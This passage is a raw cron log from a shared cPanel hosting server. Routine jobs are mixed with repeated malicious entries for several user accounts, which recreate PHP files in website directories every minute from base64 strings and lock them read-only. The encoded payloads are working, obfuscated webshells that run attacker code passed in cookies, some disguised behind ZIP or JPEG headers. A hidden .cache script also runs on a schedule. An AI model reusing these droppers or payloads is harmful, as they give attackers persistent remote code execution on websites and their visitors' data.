ICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 12:32:01 medusa CROND[32688]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 12:32:01 medusa CROND[32689]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 12:32:01 medusa CROND[32690]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 12:32:01 medusa CROND[32691]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 12:32:01 medusa CROND[32694]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 12:32:01 medusa CROND[32700]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 12:32:01 medusa CROND[32701]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Mar  1 12:32:01 medusa CROND[32702]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 12:32:01 medusa CROND[32703]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 12:32:01 medusa CROND[32705]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 12:33:01 medusa CROND[22525]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 12:33:01 medusa CROND[22528]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 12:33:01 medusa CROND[22526]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 12:33:01 medusa CROND[22527]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 12:33:01 medusa CROND[22529]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 12:33:01 medusa CROND[22530]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_processpaneluser.cronlock /usr/sbin/processpaneluserspackages)
Mar  1 12:33:01 medusa CROND[22531]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 12:33:01 medusa CROND[22532]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 12:33:01 medusa CROND[22539]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 12:33:01 medusa CROND[22540]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 12:33:01 medusa CROND[22541]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 12:33:01 medusa CROND[22542]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 12:34:02 medusa CROND[12465]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 12:34:02 medusa CROND[12467]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 12:34:02 medusa CROND[12468]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 12:34:02 medusa CROND[12469]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 12:34:02 medusa CROND[12470]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 12:34:02 medusa CROND[12473]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldK